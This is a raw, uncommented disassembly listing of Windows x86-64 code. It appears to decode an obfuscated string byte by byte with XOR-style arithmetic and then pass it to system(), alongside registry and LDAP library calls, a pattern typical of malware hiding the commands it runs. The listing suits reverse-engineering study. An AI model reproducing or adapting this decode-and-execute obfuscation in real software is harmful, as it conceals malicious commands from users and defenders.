lea edx, [rbx - 0x31]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x57
inc rbx
jmp 0x1400d6b83
lea rcx, [rax + 5]
cmp r9, rcx
jne 0x1400d72fa
lea edx, [rbx - 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x7b
jmp 0x1400d757c
lea rcx, [rax + 7]
cmp r9, rcx
jne 0x1400d7015
lea edx, [rbx - 9]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x3f
jmp 0x1400d7420
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x1400d7352
lea edx, [rbx - 0x5c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x10]
add rcx, rax
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x7c
inc rbx
jmp 0x1400d6b83
cmp r9, rdx
jne 0x1400d7371
lea edx, [rbx - 0x48]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 8
jmp 0x1400d7420
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x1400d7394
lea edx, [rbx - 0x3e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x4e
jmp 0x1400d757c
lea rcx, [rax + 8]
cmp r9, rcx
jne 0x1400d6fd1
mov edx, Ordinal_45
movzx edi, bl
lea r8d, [rdi - 0xc]
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d751b
movzx r10d, byte [rbp + rbx - 0x10]
movzx edi, bl
lea r8d, [rdi + 8]
movzx ecx, r8b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x38
add r10b, r8b
add r10b, r11b
sub dil, 0x73
movzx ecx, dil
and cl, r11b
add cl, cl
sub dil, cl
add dil, 0x25
add dil, r10b
add dil, r11b
mov byte [rbp + rbx - 0x10], dil
add r9, rax
jmp 0x1400d757c
lea edx, [rbx + 0x12]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [rdx - 0x7e]
lea edx, [rbx - 0x69]
inc rax
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x21
add dl, r11b
movzx ecx, dl
mov byte [rbp + rbx - 0x10], cl
add rcx, rax
sub rbx, rcx
lea r8d, [rbx + 0x1c]
inc r9
movzx ecx, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
and cl, r11b
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, r9
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rbx - 0x10], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x10]
add rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d6b83
lea edx, [rbx + 0x43]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x10]
add rcx, rax
add rbx, rcx
lea r10d, [r11 + rdx]
add r10b, 0x2b
inc rbx
jmp 0x1400d6b83
lea edx, [rbx + 0x1b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x43
add r9, rax
jmp 0x1400d757c
lea edx, [rbx + 7]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x31
inc rbx
jmp 0x1400d6b83
movzx edi, bl
lea edx, [rdi - 0xd]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x5b
jmp 0x1400d751b
movzx edi, bl
lea edx, [rdi - 0x21]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x19
sub dil, 0x7d
movzx ecx, dil
and cl, r11b
add cl, cl
sub dil, cl
add dil, 0x6b
add dil, r11b
mov byte [rbp + rbx - 0x10], dil
inc rax
dec rbx
inc rbx
jmp 0x1400d6b83
lea edx, [rbx - 0x35]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x73
dec rbx
inc rbx
jmp 0x1400d6b83
lea rdx, [rbx + r14]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r10d, [rdx + r8]
add r10b, 0x45
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400d6b83
lea rdx, [rbx + r15]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r10d, [rdx + r8]
add r10b, 0x17
movzx ecx, byte [rbp + rbx - 0x10]
add rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d6b83
add bl, 0x19
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
add r10b, 0x51
jmp 0x1400d6b80
add bl, 0xf
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x69
jmp 0x1400d6b70
lea rcx, [rbp + 0x17a1d4c]
jmp 0x1400d7609
lea rcx, [rbp + 0xabf0d1]
jmp 0x1400d7609
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x378]
add rsp, 0x320
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret